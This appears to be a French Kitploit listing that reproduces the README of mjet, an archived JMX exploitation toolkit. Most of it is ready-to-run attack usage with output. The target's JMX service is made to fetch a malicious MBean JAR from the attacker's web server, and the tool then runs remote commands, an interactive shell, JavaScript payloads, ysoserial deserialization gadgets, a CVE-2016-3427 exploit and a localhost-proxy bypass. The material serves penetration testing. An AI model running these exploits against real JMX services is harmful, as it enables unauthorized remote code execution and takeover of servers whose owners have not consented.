Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/mogwailabs/mjet
Génération de PayloadsExploitationPost-ExploitationTests d'IntrusionRed TeamingOutil d'Accès à DistanceArchived
GitHubmogwailabs/mjet

mjet

MOGWAI LABS JMX kit d'exploitation

Voir le dépôt
205471il y a 3 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

MJET par MOGWAI LABS

Kit d'exploitation JMX de MOGWAI LABS

MJET est un fork de sjet, qui a été développé par siberas mais n'est plus activement maintenu. MJET est maintenu par l'équipe de MOGWAI LABS, qui a également fourni la majeure partie du code original de sjet.

MJET permet d'exploiter facilement des services JMX configurés de manière non sécurisée. Des informations complémentaires sont disponibles ici et ici.

!!! Important : Ce projet n'est plus maintenu

Ce dépôt n'est plus activement maintenu. Nous recommandons d'utiliser qtcs beanshooter à la place.

Prérequis

  • Jython 2.7
  • Ysoserial (pour exploiter les vulnérabilités de désérialisation via JMX)
  • opendmk_jmxremote_optional_jar-1.0-b01-ea.jar (pour prendre en charge le protocole de message JMX alternatif (JMXMP))

Utilisation

MJET implémente une interface CLI (en utilisant argparse) :

root@kitploit:~
jython mjet.py targetHost targetPort MODE password (modeOptions)

Où

  • targetHost - l'adresse IP de la cible
  • targetPort - le port de la cible sur lequel JMX est exécuté
  • MODE - le mode du script
  • modeOptions - les options du mode sélectionné

Prise en charge de l'authentification (si l'authentification JMX est activée) :

  • --jmxrole - le nom d'utilisateur
  • --jmxpassword - le mot de passe

Autres arguments facultatifs :

  • --jmxmp - Utilise JMX-MP (nécessite le chargement d'un JAR supplémentaire)
  • --localhost_bypass - port du service pour le proxy dans le contournement localhost
  • --shell - Utilise le shell défini
  • --rmiObjectName - nom RMI du point de terminaison JMX

Modes et modeOptions

  • install - installe la charge utile sur la cible actuelle
    • password - le mot de passe à définir après une installation réussie
    • payload_url - URL complète pour charger la charge utile
    • payload_port - port pour charger la charge utile
  • uninstall - désinstalle la charge utile de la cible actuelle
  • changepw - change le mot de passe sur une charge utile déjà déployée
    • password - le mot de passe pour accéder au MBean installé
    • newpass - le nouveau mot de passe
  • command - exécute la commande CMD sur targetHost
    • password - le mot de passe pour accéder au MBean installé
    • CMD - la commande à exécuter
  • shell - démarre un shell simple sur targetHost (avec les limitations de Runtime.exec() de Java)
    • password - le mot de passe pour accéder au MBean installé
  • javascript - exécute un fichier javascript FILENAME sur targetHost
    • password - le mot de passe pour accéder au MBean installé
    • FILENAME - le javascript à exécuter
  • deserialize - envoie une charge utile ysoserial à la cible
    • gadget - gadget tel que fourni par ysoserial, p. ex. CommonsCollections6
    • cmd - commande à exécuter
  • webserver - exécute simplement le serveur web MLET
    • payload_url - URL complète pour charger la charge utile
    • payload_port - port pour charger la charge utile

Exemples

Installation du MBean de charge utile sur un service JMX vulnérable

Dans l'exemple suivant, le service JMX vulnérable s'exécute sur 10.165.188.23 port 2222, l'attaquant a l'adresse IP 10.165.188.1. Le service JMX se connectera au service web de l'attaquant pour télécharger le fichier JAR de la charge utile. MJET démarrera le service web nécessaire sur le port 8000.

Après l'installation réussie du MBean, le mot de passe par défaut est remplacé par celui fourni en ligne de commande (« super_secret »).

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> java -jar jython-standalone-2.7.0.jar mjet.py 10.165.188.23 2222 install super_secret http://10.165.188.1:8000 8000

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://10.165.188.1:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
10.165.188.23 - - [26/Apr/2019 21:50:37] "GET / HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done
h0ng10@rocksteady ~/w/mjet> 

Installation avec des identifiants JMX (nécessite également une configuration faible du serveur) :

root@kitploit:~
h0ng10@rocksteady:~/mjet$ jython mjet.py 192.168.11.136 9991 install super_secret http://192.168.11.132:8000 8000 --jmxrole JMXUSER --jmxpassword JMXPASSWORD
mJET - MOGWAI LABS JMX Exploitation Toolkit
=======================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.11.136:9991/jmxrmi
[+] Using credentials: JMXUSER / JMXPASSWORD
[+] Connected: rmi://192.168.11.132  1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://192.168.11.132:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
192.168.11.136 - - [22/Aug/2017 22:38:00] "GET / HTTP/1.1" 200 -
192.168.11.136 - - [22/Aug/2017 22:38:00] "GET /mogwailabs_mlet.jar HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.mlet.MogwaiLabsPayload
[+] Successfully changed password

h0ng10@rocksteady:~/mjet$

Exécution de la commande 'ls -la' sur une cible Linux :

Après l'installation de la charge utile, nous pouvons l'utiliser pour exécuter des commandes système sur la cible.

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 command super_secret "ls -la"

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  4
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -la
total 20
drwxr-xr-x  5 root    root    4096 Apr 26 11:12 .
drwxr-xr-x 33 root    root    4096 Apr 10 13:54 ..
lrwxrwxrwx  1 root    root      12 Aug 13  2018 conf -> /etc/tomcat8
drwxr-xr-x  2 tomcat8 tomcat8 4096 Aug 13  2018 lib
lrwxrwxrwx  1 root    root      17 Aug 13  2018 logs -> ../../log/tomcat8
drwxr-xr-x  2 root    root    4096 Apr 26 11:12 policy
drwxrwxr-x  3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps
lrwxrwxrwx  1 root    root      19 Aug 13  2018 work -> ../../cache/tomcat8


[+] Done
h0ng10@rocksteady ~/w/mjet>

Utilisation du mode shell

Si vous ne souhaitez pas charger Java pour chaque commande, vous pouvez utiliser le « mode shell » pour obtenir un shell de commandes limité.

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 shell super_secret 

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  5
[+] Use command 'exit_shell' to exit the shell
>>> ls -la
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -la
total 20
drwxr-xr-x  5 root    root    4096 Apr 26 11:12 .
drwxr-xr-x 33 root    root    4096 Apr 10 13:54 ..
lrwxrwxrwx  1 root    root      12 Aug 13  2018 conf -> /etc/tomcat8
drwxr-xr-x  2 tomcat8 tomcat8 4096 Aug 13  2018 lib
lrwxrwxrwx  1 root    root      17 Aug 13  2018 logs -> ../../log/tomcat8
drwxr-xr-x  2 root    root    4096 Apr 26 11:12 policy
drwxrwxr-x  3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps
lrwxrwxrwx  1 root    root      19 Aug 13  2018 work -> ../../cache/tomcat8


>>> pwd
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: pwd
/var/lib/tomcat8


>>> exit_shell
[+] Done
h0ng10@rocksteady ~/w/mjet> 

Exécution d'une charge utile JavaScript sur une cible :

Le script d'exemple « javaproperties.js » affiche les propriétés Java du service vulnérable. Il peut être invoqué comme suit :

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 javascript super_secret scripts/javaproperties.js 

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  6
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing script
awt.toolkit=sun.awt.X11.XToolkit
java.specification.version=11
sun.cpu.isalist=
sun.jnu.encoding=UTF-8
java.class.path=/usr/share/tomcat8/bin/bootstrap.jar:/usr/share/tomcat8/bin/tomcat-juli.jar
com.sun.management.jmxremote.authenticate=false
java.vm.vendor=Oracle Corporation
sun.arch.data.model=64
...


[+] Done

Changer le mot de passe

Changez le mot de passe existant (« super_secret ») en « this-is-the-new-password » :

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 changepw super_secret this-is-the-new-password

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  7
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done

Désinstaller le MBean de charge utile de la cible

Désinstallez le MBean de charge utile « MogwaiLabs » de la cible :

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 uninstall

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  8
[+] MBean correctly uninstalled
[+] Done

Exploiter la désérialisation Java avec ysoserial

Exploitez la désérialisation Java avec ysoserial sur la cible : Le fichier ysoserial.jar doit être présent dans le répertoire MJET. Vous pouvez sélectionner n'importe quelle charge utile ysoserial, comme pour les appels ysoserial d'origine.

Cette attaque fonctionne même si l'authentification JMX est activée et que l'utilisateur dispose des permissions « readonly ».

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py --jmxrole user --jmxpassword userpassword 10.165.188.23 2222 deserialize CommonsCollections6 "touch /tmp/xxx"

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Added ysoserial API capacities
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Using credentials: user / userpassword
[+] Connected: rmi://10.165.188.1 user 21
[+] Loaded sun.management.ManagementFactoryHelper$PlatformLoggingImpl
[+] Passing ysoserial object as parameter to getLoggerLevel(String loglevel)
[+] Got an access denied exception - this is expected

[+] Done

Exploiter CVE-2016-3427 : authentification JMX avec désérialisation Java

Exploitez CVE-2016-3427 avec ysoserial : Le fichier ysoserial.jar doit être présent dans le répertoire MJET/jar. Vous pouvez sélectionner n'importe quelle charge utile ysoserial, comme pour les appels ysoserial d'origine.

root@kitploit:~
$ java -jar jython.jar mjet.py 127.0.0.1 9999 cve-2016-3427 CommonsCollections6 "touch /tmp/xxx"

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Added ysoserial API capacities
[+] Using JMX RMI
[+] Connecting to: service:jmx:rmi:///jndi/rmi://127.0.0.1:9999/jmxrmi
[+] Object was deserialized, target could be vulnerable
[?]: Returned error:
(<type 'java.lang.SecurityException'>, java.lang.SecurityException: Authentication failed! Credentials should be String[] instead of java.util.HashSet, <traceback object at 0x2>)
[+] Done

Référence : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-3427

Mode serveur web uniquement

Il est également possible de simplement exécuter le serveur web qui fournit le code MLET et le fichier JAR avec le MBean de charge utile

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 webserver http:/xxxx/xxxx 8000

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 8000
[+] Press Enter to stop the service

Prise en charge du protocole de message JMX (JMXMP)

Téléchargez opendmk_jmxremote_optional_jar-1.0-b01-ea.jar et déplacez-le dans le répertoire jars. Vous devez ajouter ce répertoire au classpath via java -cp.

root@kitploit:~
java -cp "jython.jar:jars/*" org.python.util.jython mjet.py shell mypass

Contournement de localhost

Il arrive parfois que le registre RMI expose un RemoteObject accessible uniquement en localhost (exemple @127.0.0.1:45401). Cependant, le port est ouvert là où le RemoteObject est accessible sur le réseau.

root@kitploit:~
$ nmap -sVC 172.17.0.2 -p 9999,45401

Starting Nmap 7.60 ( https://nmap.org ) at 2020-03-24 16:48 CET
Nmap scan report for 172.17.0.2
Host is up (0.00035s latency).

PORT      STATE SERVICE     VERSION
9999/tcp  open  java-rmi    Java RMI Registry
| rmi-dumpregistry: 
|   jmxrmi
|      implements javax.management.remote.rmi.RMIServer, 
|     extends
|       java.lang.reflect.Proxy
|       fields
|           Ljava/lang/reflect/InvocationHandler; h
|             java.rmi.server.RemoteObjectInvocationHandler
|             @127.0.0.1:45401
|             extends
|_              java.rmi.server.RemoteObject
45401/tcp open  rmiregistry Java RMI

Il est toujours possible d'exploiter ce service en utilisant l'option --localhost_bypass <PORT>. Dans l'exemple suivant, nous utilisons le port 45401. Cela démarrera un proxy TCP sur localhost et transférera le trafic vers targetHost sur le port fourni.

root@kitploit:~
$ jython mjet.py --localhost_bypass 45401 172.17.0.2 9999 install mypass http://172.17.0.1:6666 6666

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 6666
[+] Using JMX RMI
[+] Connecting to: service:jmx:rmi:///jndi/rmi://172.17.0.2:9999/jmxrmi
[+] Started localhost proxy on port 45401
[+] Connected: rmi://172.17.0.1  17
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://172.17.0.1:6666
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
172.17.0.2 - - [24/Mar/2020 18:07:01] "GET / HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done

Nom d'objet RMI personnalisé

Il arrive parfois que le nom d'objet RMI du point de terminaison JMX ne soit pas jmxrmi ; dans ce cas, le paramètre --rmiObjectName peut être utilisé pour spécifier le nom d'objet RMI approprié, par exemple --rmiObjectName=customJmxRmi.

root@kitploit:~
$ jython mjet.py --rmiObjectName=customJmxRmi 172.17.0.2 2222 super_secret install http://172.17.0.1:8000 8000

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/customJmxRmi
[+] Connected: rmi://10.165.188.1  1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://10.165.188.1:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
10.165.188.23 - - [26/Apr/2019 21:50:37] "GET / HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done
$  

Utilisation d'un shell personnalisé

Il arrive parfois que le système cible ne fournisse pas de shell /bin/bash ou cmd.exe. Dans ce cas, le paramètre facultatif --shell peut être spécifié, par exemple --shell="bash -c". En exécutant le javascript javaproperties.js avec mjet.py, vous obtenez plus de détails sur l'environnement.

root@kitploit:~
$ jython mjet.py --shell="bash -c" 10.165.188.23 2222 command super_secret "ls -la"

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  4
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -la
total 20
drwxr-xr-x  5 root    root    4096 Apr 26 11:12 .
drwxr-xr-x 33 root    root    4096 Apr 10 13:54 ..
lrwxrwxrwx  1 root    root      12 Aug 13  2018 conf -> /etc/tomcat8
drwxr-xr-x  2 tomcat8 tomcat8 4096 Aug 13  2018 lib
lrwxrwxrwx  1 root    root      17 Aug 13  2018 logs -> ../../log/tomcat8
drwxr-xr-x  2 root    root    4096 Apr 26 11:12 policy
drwxrwxr-x  3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps
lrwxrwxrwx  1 root    root      19 Aug 13  2018 work -> ../../cache/tomcat8


[+] Done
$

Référence : https://www.optiv.com/blog/exploiting-jmx-rmi

Docker

Construire et exécuter l'image Docker

root@kitploit:~
# Build
docker build -t mjet .
# Run Help
docker run mjet
# Exploit example
docker run mjet 10.165.188.23 2222 install super_secret http://10.165.188.1:8000 8000
# Run Interactive into shell
docker run --entrypoint /bin/sh -it mjet

Par défaut, l'image Docker expose le port 8000 pour le serveur HTTP. Si vous avez besoin d'un autre port, pensez à l'exposer !

Contribuer

N'hésitez pas à contribuer.

Auteurs

  • Hans-Martin Münch - Idée initiale et travaux - h0ng10
  • Patricio Reller - CLI et options supplémentaires - preller
  • Ben Campbell - Plusieurs améliorations - Meatballs1
  • Arnim Rupp - Prise en charge de l'authentification
  • Sebastian Kindler - Prise en charge de la désérialisation
  • Karsten Zeides - Prise en charge du protocole de message JMX, contournement localhost zeides
  • g60ocR - Fichier Docker g60ocR
  • Morn98 - Sélection du shell et du RMI Morn98)

Voir aussi la liste des contributeurs qui ont participé à ce projet.

Licence

Ce projet est sous licence MIT - voir le fichier LICENSE pour plus de détails.

Télécharger l’outil